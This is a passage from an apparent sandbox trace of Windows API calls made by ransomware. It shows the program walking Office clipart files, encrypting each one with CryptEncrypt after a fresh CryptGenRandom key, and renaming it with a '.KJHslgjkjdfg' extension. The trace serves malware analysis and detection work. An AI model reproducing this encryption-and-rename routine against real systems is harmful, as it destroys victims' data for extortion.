(in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.223] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.223] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.223] GetProcessHeap () returned 0x2ef0000 [0203.223] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.223] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.223] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.223] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.223] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.224] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.224] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.224] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4724, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4724, lpOverlapped=0x0) returned 1 [0203.225] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4730, dwBufLen=0x4730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4730) returned 1 [0203.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.225] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4730, lpOverlapped=0x0) returned 1 [0203.225] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.225] SetEndOfFile (hFile=0x130) returned 1 [0203.228] GetProcessHeap () returned 0x2ef0000 [0203.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.228] GetProcessHeap () returned 0x2ef0000 [0203.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.228] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0186364.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0186364.wmf.kjhslgjkjdfg")) returned 1 [0203.230] CloseHandle (hObject=0x130) returned 1 [0203.230] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0203.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.232] GetProcessHeap () returned 0x2ef0000 [0203.232] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.232] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.232] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.234] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.234] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.234] GetProcessHeap () returned 0x2ef0000 [0203.234] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.234] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.234] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.234] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.235] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.235] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.235] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.235] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.235] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.235] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.235] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19c4, lpOverlapped=0x0) returned 1 [0203.236] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19d0, dwBufLen=0x19d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19d0) returned 1 [0203.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.236] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19d0, lpOverlapped=0x0) returned 1 [0203.236] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1aa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.237] SetEndOfFile (hFile=0x130) returned 1 [0203.238] GetProcessHeap () returned 0x2ef0000 [0203.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.238] GetProcessHeap () returned 0x2ef0000 [0203.238] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.238] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187647.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187647.wmf.kjhslgjkjdfg")) returned 1 [0203.239] CloseHandle (hObject=0x130) returned 1 [0203.239] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0203.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.240] GetProcessHeap () returned 0x2ef0000 [0203.240] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.241] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.241] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.241] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.241] GetProcessHeap () returned 0x2ef0000 [0203.241] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.241] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.241] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.241] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.260] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.260] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.260] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.260] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.261] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1500, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1500, lpOverlapped=0x0) returned 1 [0203.262] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500, dwBufLen=0x1500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500) returned 1 [0203.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.262] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1500, lpOverlapped=0x0) returned 1 [0203.262] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.262] SetEndOfFile (hFile=0x130) returned 1 [0203.264] GetProcessHeap () returned 0x2ef0000 [0203.264] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.265] GetProcessHeap () returned 0x2ef0000 [0203.265] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.265] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187815.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187815.wmf.kjhslgjkjdfg")) returned 1 [0203.266] CloseHandle (hObject=0x130) returned 1 [0203.266] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0203.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.267] GetProcessHeap () returned 0x2ef0000 [0203.267] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.267] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.267] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.267] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.269] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.269] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.269] GetProcessHeap () returned 0x2ef0000 [0203.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.270] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.270] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.270] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.270] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.270] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.270] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.270] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d7c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d7c, lpOverlapped=0x0) returned 1 [0203.271] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80) returned 1 [0203.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.272] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d80, lpOverlapped=0x0) returned 1 [0203.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.272] SetEndOfFile (hFile=0x130) returned 1 [0203.274] GetProcessHeap () returned 0x2ef0000 [0203.274] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.274] GetProcessHeap () returned 0x2ef0000 [0203.274] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187817.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187817.wmf.kjhslgjkjdfg")) returned 1 [0203.276] CloseHandle (hObject=0x130) returned 1 [0203.276] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0203.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187819.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187819.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.277] GetProcessHeap () returned 0x2ef0000 [0203.277] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.277] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.277] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.277] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.277] GetProcessHeap () returned 0x2ef0000 [0203.278] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.278] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.278] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.278] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.280] WriteFile (in: hFile=0x130, 